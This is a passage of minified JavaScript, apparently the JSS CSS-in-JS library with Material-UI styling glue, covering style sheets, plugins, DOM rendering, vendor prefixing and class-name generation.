this.key+" "+this.value+";"},e}(),X={"@charset":!0,"@import":!0,"@namespace":!0},G={onCreateRule:function(e,t,n){return e in X?new U(e,t,n):null}},Y=[E,M,F,_,H,K,G],J={process:!0},Z={force:!0,process:!0},Q=function(){function e(e){this.map={},this.raw={},this.index=[],this.counter=0,this.options=e,this.classes=e.classes,this.keyframes=e.keyframes}var t=e.prototype;return t.add=function(e,t,n){var r=this.options,i=r.parent,a=r.sheet,s=r.jss,l=r.Renderer,c=r.generateId,u=r.scoped,d=(0,o.A)({classes:this.classes,parent:i,sheet:a,jss:s,Renderer:l,generateId:c,scoped:u,name:e,keyframes:this.keyframes,selector:void 0},n),p=e;e in this.raw&&(p=e+"-d"+this.counter++),this.raw[p]=t,p in this.classes&&(d.selector="."+k(this.classes[p]));var f=m(p,t,d);if(!f)return null;this.register(f);var h=void 0===d.index?this.index.length:d.index;return this.index.splice(h,0,f),f},t.replace=function(e,t,n){var r=this.get(e),i=this.index.indexOf(r);r&&this.remove(r);var a=n;return-1!==i&&(a=(0,o.A)({},n,{index:i})),this.add(e,t,a)},t.get=function(e){return this.map[e]},t.remove=function(e){this.unregister(e),delete this.raw[e.key],this.index.splice(this.index.indexOf(e),1)},t.indexOf=function(e){return this.index.indexOf(e)},t.process=function(){var e=this.options.jss.plugins;this.index.slice(0).forEach(e.onProcessRule,e)},t.register=function(e){this.map[e.key]=e,e instanceof C?(this.map[e.selector]=e,e.id&&(this.classes[e.key]=e.id)):e instanceof N&&this.keyframes&&(this.keyframes[e.name]=e.id)},t.unregister=function(e){delete this.map[e.key],e instanceof C?(delete this.map[e.selector],delete this.classes[e.key]):e instanceof N&&delete this.keyframes[e.name]},t.update=function(){var e,t,n;if("string"==typeof(arguments.length<=0?void 0:arguments[0])?(e=arguments.length<=0?void 0:arguments[0],t=arguments.length<=1?void 0:arguments[1],n=arguments.length<=2?void 0:arguments[2]):(t=arguments.length<=0?void 0:arguments[0],n=arguments.length<=1?void 0:arguments[1],e=null),e)this.updateOne(this.get(e),t,n);else for(var r=0;r<this.index.length;r++)this.updateOne(this.index[r],t,n)},t.updateOne=function(t,n,r){void 0===r&&(r=J);var o=this.options,i=o.jss.plugins,a=o.sheet;if(t.rules instanceof e)t.rules.update(n,r);else{var s=t.style;if(i.onUpdate(n,t,a,r),r.process&&s&&s!==t.style){for(var l in i.onProcessStyle(t.style,t,a),t.style){var c=t.style[l];c!==s[l]&&t.prop(l,c,Z)}for(var u in s){var d=t.style[u],p=s[u];null==d&&d!==p&&t.prop(u,null,Z)}}}},t.toString=function(e){for(var t="",n=this.options.sheet,r=!!n&&n.options.link,o=y(e).linebreak,i=0;i<this.index.length;i++){var a=this.index[i].toString(e);(a||r)&&(t&&(t+=o),t+=a)}return t},e}(),ee=function(){function e(e,t){for(var n in this.attached=!1,this.deployed=!1,this.classes={},this.keyframes={},this.options=(0,o.A)({},t,{sheet:this,parent:this,classes:this.classes,keyframes:this.keyframes}),t.Renderer&&(this.renderer=new t.Renderer(this)),this.rules=new Q(this.options),e)this.rules.add(n,e[n]);this.rules.process()}var t=e.prototype;return t.attach=function(){return this.attached||(this.renderer&&this.renderer.attach(),this.attached=!0,this.deployed||this.deploy()),this},t.detach=function(){return this.attached?(this.renderer&&this.renderer.detach(),this.attached=!1,this):this},t.addRule=function(e,t,n){var r=this.queue;this.attached&&!r&&(this.queue=[]);var o=this.rules.add(e,t,n);return o?(this.options.jss.plugins.onProcessRule(o),this.attached?this.deployed?(r?r.push(o):(this.insertRule(o),this.queue&&(this.queue.forEach(this.insertRule,this),this.queue=void 0)),o):o:(this.deployed=!1,o)):null},t.replaceRule=function(e,t,n){var r=this.rules.get(e);if(!r)return this.addRule(e,t,n);var o=this.rules.replace(e,t,n);return o&&this.options.jss.plugins.onProcessRule(o),this.attached?this.deployed?(this.renderer&&(o?r.renderable&&this.renderer.replaceRule(r.renderable,o):this.renderer.deleteRule(r)),o):o:(this.deployed=!1,o)},t.insertRule=function(e){this.renderer&&this.renderer.insertRule(e)},t.addRules=function(e,t){var n=[];for(var r in e){var o=this.addRule(r,e[r],t);o&&n.push(o)}return n},t.getRule=function(e){return this.rules.get(e)},t.deleteRule=function(e){var t="object"==typeof e?e:this.rules.get(e);return!(!t||this.attached&&!t.renderable)&&(this.rules.remove(t),!(this.attached&&t.renderable&&this.renderer)||this.renderer.deleteRule(t.renderable))},t.indexOf=function(e){return this.rules.indexOf(e)},t.deploy=function(){return this.renderer&&this.renderer.deploy(),this.deployed=!0,this},t.update=function(){var e;return(e=this.rules).update.apply(e,arguments),this},t.updateOne=function(e,t,n){return this.rules.updateOne(e,t,n),this},t.toString=function(e){return this.rules.toString(e)},e}(),te=function(){function e(){this.plugins={internal:[],external:[]},this.registry={}}var t=e.prototype;return t.onCreateRule=function(e,t,n){for(var r=0;r<this.registry.onCreateRule.length;r++){var o=this.registry.onCreateRule[r](e,t,n);if(o)return o}return null},t.onProcessRule=function(e){if(!e.isProcessed){for(var t=e.options.sheet,n=0;n<this.registry.onProcessRule.length;n++)this.registry.onProcessRule[n](e,t);e.style&&this.onProcessStyle(e.style,e,t),e.isProcessed=!0}},t.onProcessStyle=function(e,t,n){for(var r=0;r<this.registry.onProcessStyle.length;r++)t.style=this.registry.onProcessStyle[r](t.style,t,n)},t.onProcessSheet=function(e){for(var t=0;t<this.registry.onProcessSheet.length;t++)this.registry.onProcessSheet[t](e)},t.onUpdate=function(e,t,n,r){for(var o=0;o<this.registry.onUpdate.length;o++)this.registry.onUpdate[o](e,t,n,r)},t.onChangeValue=function(e,t,n){for(var r=e,o=0;o<this.registry.onChangeValue.length;o++)r=this.registry.onChangeValue[o](r,t,n);return r},t.use=function(e,t){void 0===t&&(t={queue:"external"});var n=this.plugins[t.queue];-1===n.indexOf(e)&&(n.push(e),this.registry=[].concat(this.plugins.external,this.plugins.internal).reduce((function(e,t){for(var n in t)n in e&&e[n].push(t[n]);return e}),{onCreateRule:[],onProcessRule:[],onProcessStyle:[],onProcessSheet:[],onChangeValue:[],onUpdate:[]}))},e}(),ne=function(){function e(){this.registry=[]}var t=e.prototype;return t.add=function(e){var t=this.registry,n=e.options.index;if(-1===t.indexOf(e))if(0===t.length||n>=this.index)t.push(e);else for(var r=0;r<t.length;r++)if(t[r].options.index>n)return void t.splice(r,0,e)},t.reset=function(){this.registry=[]},t.remove=function(e){var t=this.registry.indexOf(e);this.registry.splice(t,1)},t.toString=function(e){for(var t=void 0===e?{}:e,n=t.attached,r=(0,p.A)(t,["attached"]),o=y(r).linebreak,i="",a=0;a<this.registry.length;a++){var s=this.registry[a];null!=n&&s.attached!==n||(i&&(i+=o),i+=s.toString(r))}return i},(0,c.A)(e,[{key:"index",get:function(){return 0===this.registry.length?0:this.registry[this.registry.length-1].options.index}}]),e}(),re=new ne,oe="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window&&window.Math===Math?window:"undefined"!=typeof self&&self.Math===Math?self:Function("return this")(),ie="2f1acc6c3a606b082e5eef5e54414ffb";null==oe[ie]&&(oe[ie]=0);var ae=oe[ie]++,se=function(e){void 0===e&&(e={});var t=0;return function(n,r){t+=1;var o="",i="";return r&&(r.options.classNamePrefix&&(i=r.options.classNamePrefix),null!=r.options.jss.id&&(o=String(r.options.jss.id))),e.minify?""+(i||"c")+ae+o+t:i+n.key+"-"+ae+(o?"-"+o:"")+"-"+t}},le=function(e){var t;return function(){return t||(t=e()),t}},ce=function(e,t){try{return e.attributeStyleMap?e.attributeStyleMap.get(t):e.style.getPropertyValue(t)}catch(e){return""}},ue=function(e,t,n){try{var r=n;if(Array.isArray(n)&&(r=g(n)),e.attributeStyleMap)e.attributeStyleMap.set(t,r);else{var o=r?r.indexOf("!important"):-1,i=o>-1?r.substr(0,o-1):r;e.style.setProperty(t,i,o>-1?"important":"")}}catch(e){return!1}return!0},de=function(e,t){try{e.attributeStyleMap?e.attributeStyleMap.delete(t):e.style.removeProperty(t)}catch(e){}},pe=function(e,t){return e.selectorText=t,e.selectorText===t},fe=le((function(){return document.querySelector("head")}));var he=le((function(){var e=document.querySelector('meta[property="csp-nonce"]');return e?e.getAttribute("content"):null})),me=function(e,t,n){try{"insertRule"in e?e.insertRule(t,n):"appendRule"in e&&e.appendRule(t)}catch(e){return!1}return e.cssRules[n]},ve=function(e,t){var n=e.cssRules.length;return void 0===t||t>n?n:t},ge=function(){function e(e){this.getPropertyValue=ce,this.setProperty=ue,this.removeProperty=de,this.setSelector=pe,this.hasInsertedRules=!1,this.cssRules=[],e&&re.add(e),this.sheet=e;var t=this.sheet?this.sheet.options:{},n=t.media,r=t.meta,o=t.element;this.element=o||function(){var e=document.createElement("style");return e.textContent="\n",e}(),this.element.setAttribute("data-jss",""),n&&this.element.setAttribute("media",n),r&&this.element.setAttribute("data-meta",r);var i=he();i&&this.element.setAttribute("nonce",i)}var t=e.prototype;return t.attach=function(){if(!this.element.parentNode&&this.sheet){!function(e,t){var n=t.insertionPoint,r=function(e){var t=re.registry;if(t.length>0){var n=function(e,t){for(var n=0;n<e.length;n++){var r=e[n];if(r.attached&&r.options.index>t.index&&r.options.insertionPoint===t.insertionPoint)return r}return null}(t,e);if(n&&n.renderer)return{parent:n.renderer.element.parentNode,node:n.renderer.element};if(n=function(e,t){for(var n=e.length-1;n>=0;n--){var r=e[n];if(r.attached&&r.options.insertionPoint===t.insertionPoint)return r}return null}(t,e),n&&n.renderer)return{parent:n.renderer.element.parentNode,node:n.renderer.element.nextSibling}}var r=e.insertionPoint;if(r&&"string"==typeof r){var o=function(e){for(var t=fe(),n=0;n<t.childNodes.length;n++){var r=t.childNodes[n];if(8===r.nodeType&&r.nodeValue.trim()===e)return r}return null}(r);if(o)return{parent:o.parentNode,node:o.nextSibling}}return!1}(t);if(!1!==r&&r.parent)r.parent.insertBefore(e,r.node);else if(n&&"number"==typeof n.nodeType){var o=n,i=o.parentNode;i&&i.insertBefore(e,o.nextSibling)}else fe().appendChild(e)}(this.element,this.sheet.options);var e=Boolean(this.sheet&&this.sheet.deployed);this.hasInsertedRules&&e&&(this.hasInsertedRules=!1,this.deploy())}},t.detach=function(){if(this.sheet){var e=this.element.parentNode;e&&e.removeChild(this.element),this.sheet.options.link&&(this.cssRules=[],this.element.textContent="\n")}},t.deploy=function(){var e=this.sheet;e&&(e.options.link?this.insertRules(e.rules):this.element.textContent="\n"+e.toString()+"\n")},t.insertRules=function(e,t){for(var n=0;n<e.index.length;n++)this.insertRule(e.index[n],n,t)},t.insertRule=function(e,t,n){if(void 0===n&&(n=this.element.sheet),e.rules){var r=e,o=n;if("conditional"===e.type||"keyframes"===e.type){var i=ve(n,t);if(!1===(o=me(n,r.toString({children:!1}),i)))return!1;this.refCssRule(e,i,o)}return this.insertRules(r.rules,o),o}var a=e.toString();if(!a)return!1;var s=ve(n,t),l=me(n,a,s);return!1!==l&&(this.hasInsertedRules=!0,this.refCssRule(e,s,l),l)},t.refCssRule=function(e,t,n){e.renderable=n,e.options.parent instanceof ee&&this.cssRules.splice(t,0,n)},t.deleteRule=function(e){var t=this.element.sheet,n=this.indexOf(e);return-1!==n&&(t.deleteRule(n),this.cssRules.splice(n,1),!0)},t.indexOf=function(e){return this.cssRules.indexOf(e)},t.replaceRule=function(e,t){var n=this.indexOf(e);return-1!==n&&(this.element.sheet.deleteRule(n),this.cssRules.splice(n,1),this.insertRule(t,n))},t.getRules=function(){return this.element.sheet.cssRules},e}(),ye=0,be=function(){function e(e){this.id=ye++,this.version="10.10.0",this.plugins=new te,this.options={id:{minify:!1},createGenerateId:se,Renderer:l?ge:null,plugins:[]},this.generateId=se({minify:!1});for(var t=0;t<Y.length;t++)this.plugins.use(Y[t],{queue:"internal"});this.setup(e)}var t=e.prototype;return t.setup=function(e){return void 0===e&&(e={}),e.createGenerateId&&(this.options.createGenerateId=e.createGenerateId),e.id&&(this.options.id=(0,o.A)({},this.options.id,e.id)),(e.createGenerateId||e.id)&&(this.generateId=this.options.createGenerateId(this.options.id)),null!=e.insertionPoint&&(this.options.insertionPoint=e.insertionPoint),"Renderer"in e&&(this.options.Renderer=e.Renderer),e.plugins&&this.use.apply(this,e.plugins),this},t.createStyleSheet=function(e,t){void 0===t&&(t={});var n=t.index;"number"!=typeof n&&(n=0===re.index?0:re.index+1);var r=new ee(e,(0,o.A)({},t,{jss:this,generateId:t.generateId||this.generateId,insertionPoint:this.options.insertionPoint,Renderer:this.options.Renderer,index:n}));return this.plugins.onProcessSheet(r),r},t.removeStyleSheet=function(e){return e.detach(),re.remove(e),this},t.createRule=function(e,t,n){if(void 0===t&&(t={}),void 0===n&&(n={}),"object"==typeof e)return this.createRule(void 0,e,t);var r=(0,o.A)({},n,{name:e,jss:this,Renderer:this.options.Renderer});r.generateId||(r.generateId=this.generateId),r.classes||(r.classes={}),r.keyframes||(r.keyframes={});var i=m(e,t,r);return i&&this.plugins.onProcessRule(i),i},t.use=function(){for(var e=this,t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return n.forEach((function(t){e.plugins.use(t)})),this},e}(),xe=function(e){return new be(e)},Ae="object"==typeof CSS&&null!=CSS&&"number"in CSS;function we(e){var t=null;for(var n in e){var r=e[n],o=typeof r;if("function"===o)t||(t={}),t[n]=r;else if("object"===o&&null!==r&&!Array.isArray(r)){var i=we(r);i&&(t||(t={}),t[n]=i)}}return t}xe();var ke=n(3043),Se={set:function(e,t,n,r){var o=e.get(t);o||(o=new Map,e.set(t,o)),o.set(n,r)},get:function(e,t,n){var r=e.get(t);return r?r.get(n):void 0},delete:function(e,t,n){e.get(t).delete(n)}};const Ce=Se;var Ee=n(6061);const Oe="function"==typeof Symbol&&Symbol.for?Symbol.for("mui.nested"):"__THEME_NESTED__";var Re=["checked","disabled","error","focused","focusVisible","required","expanded","selected"],Pe=Date.now(),$e="fnValues"+Pe,Me="fnStyle"+ ++Pe;var Te="@global",Ie=function(){function e(e,t,n){for(var r in this.type="global",this.at=Te,this.isProcessed=!1,this.key=e,this.options=n,this.rules=new Q((0,o.A)({},n,{parent:this})),t)this.rules.add(r,t[r]);this.rules.process()}var t=e.prototype;return t.getRule=function(e){return this.rules.get(e)},t.addRule=function(e,t,n){var r=this.rules.add(e,t,n);return r&&this.options.jss.plugins.onProcessRule(r),r},t.replaceRule=function(e,t,n){var r=this.rules.replace(e,t,n);return r&&this.options.jss.plugins.onProcessRule(r),r},t.indexOf=function(e){return this.rules.indexOf(e)},t.toString=function(e){return this.rules.toString(e)},e}(),Ne=function(){function e(e,t,n){this.type="global",this.at=Te,this.isProcessed=!1,this.key=e,this.options=n;var r=e.substr(8);this.rule=n.jss.createRule(r,t,(0,o.A)({},n,{parent:this}))}return e.prototype.toString=function(e){return this.rule?this.rule.toString(e):""},e}(),je=/\s*,\s*/g;function Le(e,t){for(var n=e.split(je),r="",o=0;o<n.length;o++)r+=t+" "+n[o].trim(),n[o+1]&&(r+=", ");return r}var ze=/\s*,\s*/g,De=/&/g,Fe=/\$([\w-]+)/g;var We=/[A-Z]/g,_e=/^ms-/,Be={};function Ve(e){return"-"+e.toLowerCase()}const He=function(e){if(Be.hasOwnProperty(e))return Be[e];var t=e.replace(We,Ve);return Be[e]=_e.test(t)?"-"+t:t};function qe(e){var t={};for(var n in e)t[0===n.indexOf("--")?n:He(n)]=e[n];return e.fallbacks&&(Array.isArray(e.fallbacks)?t.fallbacks=e.fallbacks.map(qe):t.fallbacks=qe(e.fallbacks)),t}var Ke=Ae&&CSS?CSS.px:"px",Ue=Ae&&CSS?CSS.ms:"ms",Xe=Ae&&CSS?CSS.percent:"%";function Ge(e){var t=/(-[a-z])/g,n=function(e){return e[1].toUpperCase()},r={};for(var o in e)r[o]=e[o],r[o.replace(t,n)]=e[o];return r}var Ye=Ge({"animation-delay":Ue,"animation-duration":Ue,"background-position":Ke,"background-position-x":Ke,"background-position-y":Ke,"background-size":Ke,border:Ke,"border-bottom":Ke,"border-bottom-left-radius":Ke,"border-bottom-right-radius":Ke,"border-bottom-width":Ke,"border-left":Ke,"border-left-width":Ke,"border-radius":Ke,"border-right":Ke,"border-right-width":Ke,"border-top":Ke,"border-top-left-radius":Ke,"border-top-right-radius":Ke,"border-top-width":Ke,"border-width":Ke,"border-block":Ke,"border-block-end":Ke,"border-block-end-width":Ke,"border-block-start":Ke,"border-block-start-width":Ke,"border-block-width":Ke,"border-inline":Ke,"border-inline-end":Ke,"border-inline-end-width":Ke,"border-inline-start":Ke,"border-inline-start-width":Ke,"border-inline-width":Ke,"border-start-start-radius":Ke,"border-start-end-radius":Ke,"border-end-start-radius":Ke,"border-end-end-radius":Ke,margin:Ke,"margin-bottom":Ke,"margin-left":Ke,"margin-right":Ke,"margin-top":Ke,"margin-block":Ke,"margin-block-end":Ke,"margin-block-start":Ke,"margin-inline":Ke,"margin-inline-end":Ke,"margin-inline-start":Ke,padding:Ke,"padding-bottom":Ke,"padding-left":Ke,"padding-right":Ke,"padding-top":Ke,"padding-block":Ke,"padding-block-end":Ke,"padding-block-start":Ke,"padding-inline":Ke,"padding-inline-end":Ke,"padding-inline-start":Ke,"mask-position-x":Ke,"mask-position-y":Ke,"mask-size":Ke,height:Ke,width:Ke,"min-height":Ke,"max-height":Ke,"min-width":Ke,"max-width":Ke,bottom:Ke,left:Ke,top:Ke,right:Ke,inset:Ke,"inset-block":Ke,"inset-block-end":Ke,"inset-block-start":Ke,"inset-inline":Ke,"inset-inline-end":Ke,"inset-inline-start":Ke,"box-shadow":Ke,"text-shadow":Ke,"column-gap":Ke,"column-rule":Ke,"column-rule-width":Ke,"column-width":Ke,"font-size":Ke,"font-size-delta":Ke,"letter-spacing":Ke,"text-decoration-thickness":Ke,"text-indent":Ke,"text-stroke":Ke,"text-stroke-width":Ke,"word-spacing":Ke,motion:Ke,"motion-offset":Ke,outline:Ke,"outline-offset":Ke,"outline-width":Ke,perspective:Ke,"perspective-origin-x":Xe,"perspective-origin-y":Xe,"transform-origin":Xe,"transform-origin-x":Xe,"transform-origin-y":Xe,"transform-origin-z":Xe,"transition-delay":Ue,"transition-duration":Ue,"vertical-align":Ke,"flex-basis":Ke,"shape-margin":Ke,size:Ke,gap:Ke,grid:Ke,"grid-gap":Ke,"row-gap":Ke,"grid-row-gap":Ke,"grid-column-gap":Ke,"grid-template-rows":Ke,"grid-template-columns":Ke,"grid-auto-rows":Ke,"grid-auto-columns":Ke,"box-shadow-x":Ke,"box-shadow-y":Ke,"box-shadow-blur":Ke,"box-shadow-spread":Ke,"font-line-height":Ke,"text-shadow-x":Ke,"text-shadow-y":Ke,"text-shadow-blur":Ke});function Je(e,t,n){if(null==t)return t;if(Array.isArray(t))for(var r=0;r<t.length;r++)t[r]=Je(e,t[r],n);else if("object"==typeof t)if("fallbacks"===e)for(var o in t)t[o]=Je(o,t[o],n);else for(var i in t)t[i]=Je(e+"-"+i,t[i],n);else if("number"==typeof t&&!1===isNaN(t)){var a=n[e]||Ye[e];return!a||0===t&&a===Ke?t.toString():"function"==typeof a?a(t).toString():""+t+a}return t}var Ze=n(5458),Qe="",et="",tt="",nt="",rt=l&&"ontouchstart"in document.documentElement;if(l){var ot={Moz:"-moz-",ms:"-ms-",O:"-o-",Webkit:"-webkit-"},it=document.createElement("p").style;for(var at in ot)if(at+"Transform"in it){Qe=at,et=ot[at];break}"Webkit"===Qe&&"msHyphens"in it&&(Qe="ms",et=ot.ms,nt="edge"),"Webkit"===Qe&&"-apple-trailing-word"in it&&(tt="apple")}var st=Qe,lt=et,ct=tt,ut=nt,dt=rt,pt={noPrefill:["appearance"],supportedProperty:function(e){return"appearance"===e&&("ms"===st?"-webkit-"+e:lt+e)}},ft={noPrefill:["color-adjust"],supportedProperty:function(e){return"color-adjust"===e&&("Webkit"===st?lt+"print-"+e:e)}},ht=/[-\s]+(.)?/g;function mt(e,t){return t?t.toUpperCase():""}function vt(e){return e.replace(ht,mt)}function gt(e){return vt("-"+e)}var yt,bt={noPrefill:["mask"],supportedProperty:function(e,t){if(!/^mask/.test(e))return!1;if("Webkit"===st){var n="mask-image";if(vt(n)in t)return e;if(st+gt(n)in t)return lt+e}return e}},xt={noPrefill:["text-orientation"],supportedProperty:function(e){return"text-orientation"===e&&("apple"!==ct||dt?e:lt+e)}},At={noPrefill:["transform"],supportedProperty:function(e,t,n){return"transform"===e&&(n.transform?e:lt+e)}},wt={noPrefill:["transition"],supportedProperty:function(e,t,n){return"transition"===e&&(n.transition?e:lt+e)}},kt={noPrefill:["writing-mode"],supportedProperty:function(e){return"writing-mode"===e&&("Webkit"===st||"ms"===st&&"edge"!==ut?lt+e:e)}},St={noPrefill:["user-select"],supportedProperty:function(e){return"user-select"===e&&("Moz"===st||"ms"===st||"apple"===ct?lt+e:e)}},Ct={supportedProperty:function(e,t){return!!/^break-/.test(e)&&("Webkit"===st?"WebkitColumn"+gt(e)in t&&lt+"column-"+e:"Moz"===st&&"page"+gt(e)in t&&"page-"+e)}},Et={supportedProperty:function(e,t){if(!/^(border|margin|padding)-inline/.test(e))return!1;if("Moz"===st)return e;var n=e.replace("-inline","");return st+gt(n)in t&&lt+n}},Ot={supportedProperty:function(e,t){return vt(e)in t&&e}},Rt={supportedProperty:function(e,t){var n=gt(e);return"-"===e[0]||"-"===e[0]&&"-"===e[1]?e:st+n in t?lt+e:"Webkit"!==st&&"Webkit"+n in t&&"-webkit-"+e}},Pt={supportedProperty:function(e){return"scroll-snap"===e.substring(0,11)&&("ms"===st?""+lt+e:e)}},$t={supportedProperty:function(e){return"overscroll-behavior"===e&&("ms"===st?lt+"scroll-chaining":e)}},Mt={"flex-grow":"flex-positive","flex-shrink":"flex-negative","flex-basis":"flex-preferred-size","justify-content":"flex-pack",order:"flex-order","align-items":"flex-align","align-content":"flex-line-pack"},Tt={supportedProperty:function(e,t){var n=Mt[e];return!!n&&st+gt(n)in t&&lt+n}},It={flex:"box-flex","flex-grow":"box-flex","flex-direction":["box-orient","box-direction"],order:"box-ordinal-group","align-items":"box-align","flex-flow":["box-orient","box-direction"],"justify-content":"box-pack"},Nt=Object.keys(It),jt=function(e){return lt+e},Lt={supportedProperty:function(e,t,n){var r=n.multiple;if(Nt.indexOf(e)>-1){var o=It[e];if(!Array.isArray(o))return st+gt(o)in t&&lt+o;if(!r)return!1;for(var i=0;i<o.length;i++)if(!(st+gt(o[0])in t))return!1;return o.map(jt)}return!1}},zt=[pt,ft,bt,xt,At,wt,kt,St,Ct,Et,Ot,Rt,Pt,$t,Tt,Lt],Dt=zt.filter((function(e){return e.supportedProperty})).map((function(e){return e.supportedProperty})),Ft=zt.filter((function(e){return e.noPrefill})).reduce((function(e,t){return e.push.apply(e,(0,Ze.A)(t.noPrefill)),e}),[]),Wt={};if(l){yt=document.createElement("p");var _t=window.getComputedStyle(document.documentElement,"");for(var Bt in _t)isNaN(Bt)||(Wt[_t[Bt]]=_t[Bt]);Ft.forEach((function(e){return delete Wt[e]}))}function Vt(e,t){if(void 0===t&&(t={}),!yt)return e;if(null!=Wt[e])return Wt[e];"transition"!==e&&"transform"!==e||(t[e]=e in yt.style);for(var n=0;n<Dt.length&&(Wt[e]=Dt[n](e,yt.style,t),!Wt[e]);n++);try{yt.style[e]=""}catch(e){return!1}return Wt[e]}var Ht,qt={},Kt={transition:1,"transition-property":1,"-webkit-transition":1,"-webkit-transition-property":1},Ut=/(^\s*[\w-]+)|, (\s*[\w-]+)(?![^()]*\))/g;function Xt(e,t,n){return"var"===t?"var":"all"===t?"all":"all"===n?", all":(t?Vt(t):", "+Vt(n))||t||n}function Gt(e,t){var n=t;if(!Ht||"content"===e)return t;if("string"!=typeof n||!isNaN(parseInt(n,10)))return n;var r=e+n;if(null!=qt[r])return qt[r];try{Ht.style[e]=n}catch(e){return qt[r]=!1,!1}if(Kt[e])n=n.replace(Ut,Xt);else if(""===Ht.style[e]&&("-ms-flex"===(n=lt+n)&&(Ht.style[e]="-ms-flexbox"),Ht.style[e]=n,""===Ht.style[e]))return qt[r]=!1,!1;return Ht.style[e]="",qt[r]=n,qt[r]}l&&(Ht=document.createElement("p"));var Yt,Jt=xe({plugins:[{onCreateRule:function(e,t,n){if("function"!=typeof t)return null;var r=m(e,{},n);return r[Me]=t,r},onProcessStyle:function(e,t){if($e in t||Me in t)return e;var n={};for(var r in e){var o=e[r];"function"==typeof o&&(delete e[r],n[r]=o)}return t[$e]=n,e},onUpdate:function(e,t,n,r){var o=t,i=o[Me];i&&(o.style=i(e)||{});var a=o[$e];if(a)for(var s in a)o.prop(s,a[s](e),r)}},{onCreateRule:function(e,t,n){if(!e)return null;if(e===Te)return new Ie(e,t,n);if("@"===e[0]&&"@global "===e.substr(0,8))return new Ne(e,t,n);var r=n.parent;return r&&("global"===r.type||r.options.parent&&"global"===r.options.parent.type)&&(n.scoped=!1),n.selector||!1!==n.scoped||(n.selector=e),null},onProcessRule:function(e,t){"style"===e.type&&t&&(function(e,t){var n=e.options,r=e.style,i=r?r[Te]:null;if(i){for(var a in i)t.addRule(a,i[a],(0,o.A)({},n,{selector:Le(a,e.selector)}));delete r[Te]}}(e,t),function(e,t){var n=e.options,r=e.style;for(var i in r)if("@"===i[0]&&i.substr(0,7)===Te){var a=Le(i.substr(7),e.selector);t.addRule(a,r[i],(0,o.A)({},n,{selector:a})),delete r[i]}}(e,t))}},function(){function e(e,t){return function(n,r){var o=e.getRule(r)||t&&t.getRule(r);return o?o.selector:r}}function t(e,t){for(var n=t.split(ze),r=e.split(ze),o="",i=0;i<n.length;i++)for(var a=n[i],s=0;s<r.length;s++){var l=r[s];o&&(o+=", "),o+=-1!==l.indexOf("&")?l.replace(De,a):a+" "+l}return o}function n(e,t,n){if(n)return(0,o.A)({},n,{index:n.index+1});var r=e.options.nestingLevel;r=void 0===r?1:r+1;var i=(0,o.A)({},e.options,{nestingLevel:r,index:t.indexOf(e)+1});return delete i.name,i}return{onProcessStyle:function(r,i,a){if("style"!==i.type)return r;var s,l,c=i,u=c.options.parent;for(var d in r){var p=-1!==d.indexOf("&"),f="@"===d[0];if(p||f){if(s=n(c,u,s),p){var h=t(d,c.selector);l||(l=e(u,a)),h=h.replace(Fe,l);var m=c.key+"-"+d;"replaceRule"in u?u.replaceRule(m,r[d],(0,o.A)({},s,{selector:h})):u.addRule(m,r[d],(0,o.A)({},s,{selector:h}))}else f&&u.addRule(d,{},s).addRule(c.key,r[d],{selector:c.selector});delete r[d]}}return r}}}(),{onProcessStyle:function(e){if(Array.isArray(e)){for(var t=0;t<e.length;t++)e[t]=qe(e[t]);return e}return qe(e)},onChangeValue:function(e,t,n){if(0===t.indexOf("--"))return e;var r=He(t);return t===r?e:(n.prop(r,e),null)}},function(e){void 0===e&&(e={});var t=Ge(e);return{onProcessStyle:function(e,n){if("style"!==n.type)return e;for(var r in e)e[r]=Je(r,e[r],t);return e},onChangeValue:function(e,n){return Je(n,e,t)}}}(),"undefined"==typeof window?null:function(){function e(t){for(var n in t){var r=t[n];if("fallbacks"===n&&Array.isArray(r))t[n]=r.map(e);else{var o=!1,i=Vt(n);i&&i!==n&&(o=!0);var a=!1,s=Gt(i,g(r));s&&s!==r&&(a=!0),(o||a)&&(o&&delete t[n],t[i||n]=s||r)}}return t}return{onProcessRule:function(e){if("keyframes"===e.type){var t=e;t.at=function(e){return"-"===e[1]||"ms"===st?e:"@"+lt+"keyframes"+e.substr(10)}(t.at)}},onProcessStyle:function(t,n){return"style"!==n.type?t:e(t)},onChangeValue:function(e,t){return Gt(t,g(e))||e}}}(),(Yt=function(e,t){return e.length===t.length?e>t?1:-1:e.length-t.length},{onProcessStyle:function(e,t){if("style"!==t.type)return e;for(var n={},r=Object.keys(e).sort(Yt),o=0;o<r.length;o++)n[r[o]]=e[r[o]];return n}})]}),Zt={disableGeneration:!1,generateClassName:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.disableGlobal,n=void 0!==t&&t,r=e.productionPrefix,o=void 0===r?"jss":r,i=e.seed,a=void 0===i?"":i,s=""===a?"":"".concat(a,"-"),l=0,c=function(){return l+=1};return function(e,t){var r=t.options.name;if(r&&0===r.indexOf("Mui")&&!t.options.link&&!n){if(-1!==Re.indexOf(e.key))return"Mui-".concat(e.key);var i="".concat(s).concat(r,"-").concat(e.key);return t.options.theme[Oe]&&""===a?"".concat(i,"-").concat(c()):i}return"".concat(s).concat(o).concat(c())}}(),jss:Jt,sheetsCache:null,sheetsManager:new Map,sheetsRegistry:null},Qt=a().createContext(Zt),en=-1e9,tn=n(2851);const nn={};function rn(e,t){var n=e.state,r=e.theme,i=e.stylesOptions,a=e.stylesCreator,s=e.name;if(!i.disableGeneration){var l=Ce.get(i.sheetsManager,a,r);l||(l={refs:0,staticSheet:null,dynamicStyles:null},Ce.set(i.sheetsManager,a,r,l));var c=(0,o.A)({},a.options,i,{theme:r,flip:"boolean"==typeof i.flip?i.flip:"rtl"===r.direction});c.generateId=c.serverGenerateClassName||c.generateClassName;var u=i.sheetsRegistry;if(0===l.refs){var d;i.sheetsCache&&(d=Ce.get(i.sheetsCache,a,r));var p=a.create(r,s);d||((d=i.jss.createStyleSheet(p,(0,o.A)({link:!1},c))).attach(),i.sheetsCache&&Ce.set(i.sheetsCache,a,r,d)),u&&u.add(d),l.staticSheet=d,l.dynamicStyles=we(p)}if(l.dynamicStyles){var f=i.jss.createStyleSheet(l.dynamicStyles,(0,o.A)({link:!0},c));f.update(t),f.attach(),n.dynamicSheet=f,n.classes=(0,ke.A)({baseClasses:l.staticSheet.classes,newClasses:f.classes}),u&&u.add(f)}else n.classes=l.staticSheet.classes;l.refs+=1}}function on(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.name,i=t.classNamePrefix,s=t.Component,l=t.defaultTheme,c=void 